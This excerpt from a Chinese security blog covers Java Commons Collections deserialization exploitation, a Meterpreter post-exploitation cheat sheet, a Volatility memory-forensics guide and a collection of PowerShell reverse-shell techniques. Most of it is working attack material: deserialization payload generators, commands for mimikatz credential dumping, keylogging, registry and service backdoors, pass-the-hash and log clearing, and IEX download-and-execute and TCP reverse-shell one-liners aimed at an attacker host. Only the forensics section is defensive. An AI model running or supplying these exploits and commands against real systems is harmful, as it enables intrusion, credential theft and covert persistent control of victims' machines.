        Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;   
        //entry类型TransformedMap的父类AbstractInputCheckedMapDecorator
        elEntry.setValue("lltest") ;
    }
}

现在已经可以本地执行命令，后面就要远程命令执行（利用反序列化）
所以后面漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们构造的MapEntry类的setValue(Object value)方法

3) 找readObject()中调用MapEntry类的setValue()方法

如果Java应用没有对传入的序列化数据进行安全性检查，可以将恶意的TransformedMap序列化后，远程提交给Java应用，如果Java应用可以触发变换，即可成功远程命令执行。结合前述Commons Collections的特性，如果某个可序列化的类重写了readObject()方法，并且在readObject()中调用MapEntry类的setValue()方法，并且这个Map变量是可控的，就可以远程命令执行。于是找到了这个类：AnnotationInvocationHandler

现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,看在该类进行反序列化时是如何触发漏洞代码的。

跟进sun.reflect.annotation.AnnotationInvocationHandler的源代码
https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

这里的成员变量memberValues是Map类型,是我们通过构造AnnotationInvocationHandler 构造函数初始化的变量，也就是我们构造的TransformedMap对象。同时AnnotationInvocationHandler中重写的readObject()方法中恰好有memberValue.setValue()的操作，恰好触发漏洞。
那么就可以实例化一个AnnotationInvocationHandler类，将其成员变量memberValues赋值为含有payload的TransformedMap对象。然后将其序列化，提交给未做安全检测的Java应用。Java应用在AnnotationInvocationHandler.readObject(xx)反序列化时，则会触发TransformedMap的变换函数，执行命令。另外需要注意的是，想要在调用未包含的package中的构造函数，必须通过反射的方式。
所以这里POC执行流程为
TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()漏洞成功触发。

4) 结合反序列化实现远程命令执行POC

DeserializePayload1.java(TransformedMap)

利用TransformedMap来构造POC或者使用ysoserial生成POC

正常利用，如同ysoserial生成payload 然后burp加载payload即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package lltest;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

//https://joychou.org/java/commons-collections-java-deserialize-vulnerability-analysis.html
//https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
public class DeserializePayload1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();

        // key的值只能为value，value的值可以为任意值
        innermap.put("value", "lltest");

        // outerMap类型为TransformedMap
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

        // 调用未包含package中的构造函数，必须通过反射方式
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, outmap);
       
        //序列化生成payload
        File f = new File("tmp/payload1.ser");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
        System.out.println("生成payload 位于tmp/payload1.ser");
        
       //模拟反序列化payload  触发漏洞 
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tmp/payload1.ser"));
        in.readObject();  // 触发漏洞
        in.close();
        System.out.println("反序列化tmp/payload1.ser 触发漏洞");
    }
}

说明：测试时能否触发成功，是与jdk版本有关
采用AnnotationInvocationHandler类也是有限制的，能否成功利用与JDK的版本有关,
jdk8u中AnnotationInvocationHandler类删除了memberValue.setValue()，所以不能用AnnotationInvocationHandler+TransformedMap来构造反射链。
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

(五) LazyMap分析

1) LazyMap方法调用了transform方法

分析下LazyMap类，ysoserial中的POC大多使用LazyMap来进行构造，该方式的POC成功率更高。

LazyMap类get(Object key)方法调用了transform()方法

续跟踪facory这个变量看该变量是在哪被初始化的
可看到这里的decorate方法会对factory进行初始化,同时实例化一个LazyMap,

2) 找readObject()中调用LazyMap的get()方法

为了能成功调用transform方法,找到了LazyMap方法,发现在get()方法中调用了该方法,所以说后面漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们构造的get(Object)方法

现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,看在该类进行反序列化时是如何触发漏洞代码的。

跟进sun.reflect.annotation.AnnotationInvocationHandler的源代码
https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

这里的memberValues是通过构造AnnotationInvocationHandler 构造函数初始化的变量,也就是我们构造的lazymap对象,这里我们只需要找到一个memberValues.get(Object)的方法即可触发该漏洞,但是可惜的是该方法里面并没有这个方法。

在readObject方法中并未找到lazymap的get方法,但在sun.reflect.annotation.AnnotationInvocationHandler类里面找看看那个方法调用了memberValues.get(Object)方法,很幸运发现在invoke方法中memberValues.get(Object)被调用

AnnotationInvocationHandler默认实现了InvocationHandler接口,在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后,当对象iswin在进行对象调用时,那么就会调用InvocationHandler.invoke(xx)方法,所以POC的执行流程为map.xx->proxy(Map).invoke->lazymap.get(xx) 就会触发transform方法从而执行恶意代码

3) 结合反序列化实现远程命令执行POC

DeserializePayload2.java (LazyMap)

代码参考ysoserial的CommonsCollections5的payload
正常利用，如同ysoserial生成payload 然后burp加载payload即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package lltest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

//https://joychou.org/java/commons-collections-java-deserialize-vulnerability-analysis.html
public class DeserializePayload2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),
                new ConstantTransformer("1")
        };
        Transformer transformChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "lltest");

        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);
         
        //序列化生成payload
        File f = new File("tmp/payload2.ser");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(exception);
        out.flush();
        out.close();
        System.out.println("生成payload 位于tmp/payload2.ser");

       //模拟反序列化  触发漏洞
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tmp/payload2.ser"));
        in.readObject();  // 触发漏洞
        in.close();
        System.out.println("反序列化tmp/payload2.ser 触发漏洞");
    }
}

参考:
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://www.anquanke.com/post/id/82934
https://security.tencent.com/index.php/blog/msg/97

Posted on | In

2018-08-06 首发于阿里先知: https://xz.aliyun.com/t/2536

Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力，本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。

0x01.系统命令

1）基本系统命令

1
2
3
4
5
6
7
8
9
10
11
12
sessions    #sessions –h 查看帮助
sessions -i <ID值>  #进入会话   -k  杀死会话
background  #将当前会话放置后台
run  #执行已有的模块，输入run后按两下tab，列出已有的脚本
info #查看已有模块信息
getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程    kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown   #重启/关机
shell #进入目标机cmd shell

2）uictl开关键盘/鼠标

1
2
3
uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘

3）webcam摄像头命令

1
2
3
webcam_list  #查看摄像头
webcam_snap   #通过摄像头拍照
webcam_stream   #通过摄像头开启视频


4）execute执行文件

1
2
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互

5）migrate进程迁移

1
2
3
4
getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
kill <pid值>   #杀死进程

6）clearav清除日志

1
clearav  #清除windows中的应用程序日志、系统日志、安全日志

0x02.文件系统命令

1）基本文件系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
getwd 或者pwd # 查看当前工作目录  
ls
cd
search -f *pass*       # 搜索文件  -h查看帮助
cat c:\\lltest\\lltestpasswd.txt  # 查看文件内容
upload /tmp/hack.txt C:\\lltest  # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件  没有的话，会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2  #只能在当前目录下创建文件夹
rmdir lltest2  #只能删除当前目录下文件夹
getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
lcd /tmp   #操作攻击者主机 切换目录

2）timestomp伪造时间戳

1
2
3
timestomp C:// -h   #查看帮助
timestomp -v C://2.txt   #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

0x03.网络命令

1）基本网络命令

1
2
3
4
5
ipconfig/ifconfig
netstat –ano
arp
getproxy   #查看代理信息
route   #查看路由

2）portfwd端口转发

1
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口


3）autoroute添加路由

1
2
3
run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由

然后可以利用arp_scanner、portscan等进行扫描

1
2
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389


4）Socks4a代理

autoroute添加完路由后，还可以利用msf自带的sock4a模块进行Socks4a代理

1
2
3
4
msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问

0x04.信息收集

信息收集的脚本位于：

1
2
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多，仅列几个常用的：

1
2
3
4
5
6
7
8
9
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控

0x05.提权

1)getsystem提权

1
getsystem

getsystem工作原理：
①getsystem创建一个新的Windows服务，设置为SYSTEM运行，当它启动时连接到一个命名管道。
②getsystem产生一个进程，它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动，导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient，从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程。

2)bypassuac

内置多个pypassuac脚本，原理有所不同，使用方法类似，运行后返回一个新的会话，需要再次执行getsystem获取系统权限，如：

1
2
3
4
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如使用bypassuac.rb脚本：

1
2
3
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

3)内核漏洞提权

可先利用enum_patches模块 收集补丁信息，然后查找可用的exploits进行提权

1
2
3
4
meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit


0x06.mimikatz抓取密码

1
2
3
4
load mimikatz    #help mimikatz 查看帮助
wdigest  #获取Wdigest密码
mimikatz_command -f samdump::hashes  #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords


0x07.远程桌面&截屏

1
2
3
4
5
6
enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接


0x08.开启rdp&添加用户

1)getgui命令

1
2
3
4
run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

getgui 系统不推荐，推荐使用run post/windows/manage/enable_rdp
getgui添加用户时，有时虽然可以成功添加用户，但是没有权限通过远程桌面登陆

2)enable_rdp脚本

1
2
3
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662	#将3389端口转发到6662

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知：开启rdp是通过reg修改注册表；添加用户是调用cmd.exe 通过net user添加；端口转发是利用的portfwd命令

0x09.键盘记录

1
2
3
keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

0x10.sniffer抓包

1
2
3
4
5
6
use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

0x11.注册表操作

1)注册表基本命令

1
2
3
reg –h
    -d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
    enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据

2)注册表设置nc后门

1
2
3
4
5
6
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值

nc -v 192.168.159.144 443  #攻击者连接nc后门



0x12.令牌操纵

1)incognito假冒令牌

1
2
3
4
5
6
7
use incognito      #help incognito  查看帮助
list_tokens -u    #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
或者直接shell
rev2self   #返回原始token

2)steal_token窃取令牌

1
2
steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token  #删除窃取的token

0x13.哈希利用

1)获取哈希

1
2
run post/windows/gather/smart_hashdump  #从SAM导出密码哈希
#需要SYSTEM权限

2)PSExec哈希传递

通过smart_hashdump获取用户哈希后，可以利用psexec模块进行哈希传递攻击
前提条件：①开启445端口 smb服务；②开启admin$共享

1
2
3
4
5
6
7
8
9
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain  WORKGROUP   #域用户需要设置SMBDomain
msf >exploit


0x14.后门植入

metasploit自带的后门有两种方式启动的，一种是通过启动项启动(persistence)，一种是通过服务启动(metsvc)，另外还可以通过persistence_exe自定义后门文件。

1)persistence启动项后门

在C:\Users***\AppData\Local\Temp\目录下，上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

1
2
3
run persistence –h  #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动，-i反向连接的时间间隔(5s) –r 指定攻击者的ip


连接后门

1
2
3
4
5
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

2)metsvc服务后门

在C:\Users***\AppData\Local\Temp\上传了三个文件（metsrv.x86.dll、metsvc-server.exe、metsvc.exe），通过服务启动，服务名为meterpreter

1
2
run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门


连接后门

1
2
3
4
5
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit

0x15.扫描脚本

扫描的脚本位于：
/usr/share/metasploit-framework/modules/auxiliary/scanner/
扫描的脚本较多，仅列几个代表：

1
2
3
4
5
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login

参考:
https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146/
https://thehacktoday.com/metasploit-commands/
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://www.offensive-security.com/metasploit-unleashed/persistent-netcat-backdoor/
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
http://www.hackingarticles.in/7-ways-to-privilege-escalation-of-windows-7-pc-bypass-uac/
https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
http://wooyun.jozxing.cc/static/drops/tips-2227.html

Posted on | In

2018-07-28 首发于阿里先知: https://xz.aliyun.com/t/2497

0x00前言

本文利用Volatility进行内存取证，分析入侵攻击痕迹，包括网络连接、进程、服务、驱动模块、DLL、handles、检测进程注入、检测Meterpreter、cmd历史命令、IE浏览器历史记录、启动项、用户、shimcache、userassist、部分rootkit隐藏文件、cmdliner等。

环境准备：
Kali2中自带Volatility（版本2.4），可下载最新版本2.6，下载即可使用。
下载地址：https://github.com/volatilityfoundation/volatility
windows系统可使用DumpIt等制作镜像。

本为以window系统镜像为例，简单模拟了一次入侵行为，然后利用Volatility进行分析：

0x01查看网络连接
netscan 查看网络连接情况

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 netscan

0x02查看进程

pslist、psxview可查看进程，其中psxview可查看一些隐藏进程

1
2
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 pslist
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 psxview

0x03查找进程注入
malfind 查找隐藏或注入的代码/ DLL

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 malfind

可看到进程pid为620的svchost.exe存在异常：

0x04提取文件

memdump 提取进程在内存中的信息保存到文件中 –D 指定保存的目录
procdump 提取进程的可执行文件
提取出文件后，可以到www.virustotal.com进行检验

1
2
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 procdump -p 620 -D dump
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 memdump -p 620 -D dump   #时间较长，文件较大


成功检测出提取的文件有Meterpreter攻击痕迹：

0x05yarascan 检测Meterpreter
上面通过memdump 提取pid为620的进程，可检测出Meterpreter攻击痕迹，还可以通过YARA进行检测。yarascan 可利用YARA规则进行检测 -Y 指定自定义的规则，-y 指定包含YARA规则。通过文章（http://cyberforensicator.com/2018/03/11/finding-metasploits-meterpreter-traces-with-memory-forensics/） 的规则学习，可进行检测Meterpreter攻击痕迹。

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 yarascan -y fm.yara

fm.yara文件如下

1
2
3
4
5
6
7
8
9
10
11
rule Find_Meterpreter
{
	meta:
		desrciption = "it's the Meterpreter!"
	strings:
		$a = { 6D 65 74 73 72 76 2E 64 6C 6C 00 00 52 65 66 6C 65 63 74 69 76 65 4C 6F 61 64 65 72 }
		$b = "stdapi_" ascii nocase

	condition:
		$a and $b
}


成功检测到Meterpreter攻击痕迹：

0x06查看&提取DLL

dlllist 查看dll文件
ldrmodules 可查看一些隐藏的dll
dlldump 提取dll文件
提取出dll文件后，可以到www.virustotal.com进行检验

1
2
3
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 dlllist -p 1656
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 dlldump -p 1656 -D dump
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 ldrmodules



成功检测出提取出来的可疑dll文件：

0x07查看文件句柄
handles 查看进程打开的handles

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 handles -p 620 -t file

0x08查看cmd历史命令

cmdscan 查看内存中保留的 cmd 命令使用情况，还可以看到powershell命令

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 cmdscan

0x09查看IE浏览器历史记录

1）iehistory插件
iehistory 可查看IE浏览中的历史记录，但是有时会出bug，查看不到信息

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180410-073551.raw --profile=Win7SP1x86 iehistory

2）yarascan搜索记录
可以先找到iexplore进程，然后通过yarascan来定义YARA规则进行搜索IE浏览器历史记录

1
2
python vol.py -f /root/lltest/PC-20170527XAOD-20180410-073551.raw --profile=Win7SP1x86 pslist | grep iexplore
python vol.py -f /root/lltest/PC-20170527XAOD-20180410-073551.raw --profile=Win7SP1x86 yarascan -Y "/(URL|REDR|LEAK)/" -p 1904,220,3276,3676

查看iexplore进程pid：

成功检测到ie历史记录：

3）memdump & strings提取记录
还可以通过memdump提取iexplore进程中的信息到文件中，然后通过strings来搜索IE浏览器历史记录

1
2
python vol.py -f /root/lltest/PC-20170527XAOD-20180410-073551.raw --profile=Win7SP1x86 memdump -p 1904,220,3276,3676 -D dump
strings dump/1904.dmp | grep -i http:// | sort | uniq -u

根据pid提取iexplore进程文件：

strings成功提取到ie历史记录：

0x10查看注册表
printkey可查看指定注册表项信息
1）查看启动项

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 printkey -K "Microsoft\Windows\CurrentVersion\Run"

2）查看用户

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 printkey -K "SAM\Domains\Account\Users\Names"

3）shimcache信息查看

ShimCache来识别应用程序兼容性问题。跟踪文件路径，大小，最后修改时间和最后“执行”时间。

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 shimcache

4）userassist信息查看
userassist键值包含系统或桌面执行文件的信息，如名称、路径、执行次数、最后一次执行时间等。

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180407-042003.raw --profile=Win7SP1x86 userassist

0x11查看服务svcscan
svcscan查看服务

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 svcscan

0x12查看内核驱动模块
modules 查看内核驱动
modscan、driverscan 可查看一些隐藏的内核驱动

1
2
3
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 modules
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 modscan
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 driverscan

0x13查看文件
filescan 可查看 一些rootkit隐藏文件

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 filescan  #可查看 一些rootkit隐藏文件

0x14查看时间线cmdliner
timeliner 查看各组件时间线。 输出会很多，建议输出到指定文件中

1
python vol.py -f /root/lltest/PC-20170527XAOD-20180407-042003.raw --profile=Win7SP1x86 timeliner --output=text --output-file=out1.txt

当然，volatility还有许多命令和插件，本文只是抛砖引玉，简单写了一些常用方式。

参考
https://github.com/volatilityfoundation/volatility/wiki/Command-Reference
http://cyberforensicator.com/2018/03/11/finding-metasploits-meterpreter-traces-with-memory-forensics/
https://eforensicsmag.com/finding-advanced-malware-using-volatility/
https://volatility-labs.blogspot.com/2012/09/howto-scan-for-internet-cachehistory.html

Posted on | In

2018-03-06 首发于360安全客: https://www.anquanke.com/post/id/99793

本文整理了通过powershell反弹shell的常见方式。利用powercat、dnscat2、nishang、Empire、PowerSploit、Metasploit、Cobalt strike、powershell自定义函数等方式反弹TCP/UDP/HTTP/HTTPS/ICMP/DNS等类型shell。

测试环境说明

攻击者：KALI2.0 32位 192.168.159.134
攻击者2：Ubuntu 14.04 LTS 192.168.159.129 （仅在dnscat2 反弹DNS shell中使用）
目标机：Windows Server 2008 X64 192.168.159.138

1) powercat反弹shell

powercat（https://github.com/besimorhino/powercat ）为Powershell版的Netcat，实际上是一个powershell的函数，使用方法类似Netcat

攻击者(192.168.159.134)开启监听：

1
2
3
nc -lvp 6666
或者使用powercat监听
powercat -l -p 6666

目标机反弹cmd shell：

1
2
3
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd

2) nishang反弹shell

Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架，集合了一些PowerShell攻击脚本和有效载荷，可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。说明：本文没有具体实现nishang反弹http/https shell

Reverse TCP shell

攻击者(192.168.159.134)开启监听：

1
nc -lvp 6666

目标机执行：

1
2
3
4
5
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666
或者将nishang下载到攻击者本地：
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

Reverse UDP shell

攻击者(192.168.159.134)开启监听：

1
nc -lvup 53

目标机执行：

1
2
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53

Reverse ICMP shell

需要利用icmpsh_m.py (https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1 来反弹ICMP shell。

首先攻击端下载icmpsh_m.py文件

1
2
icmpsh_m.py Usage：
python icmpsh_m.py [Attacker IP] [Victim IP]

攻击者(192.168.159.134)执行：

1
2
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.159.134 192.168.159.138 #开启监听

目标机(192.168.159.138)执行：

1
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134

3) 自定义powershell函数反弹shell

利用powershell创建一个Net.Sockets.TCPClient对象，通过Socket反弹tcp shell，其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1

攻击者(192.168.159.134) 开启监听：

1
nc -lvp 6666

目标机执行：

1
2
3
4
5
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

或者保存为lltest_tcp.ps1文件

1
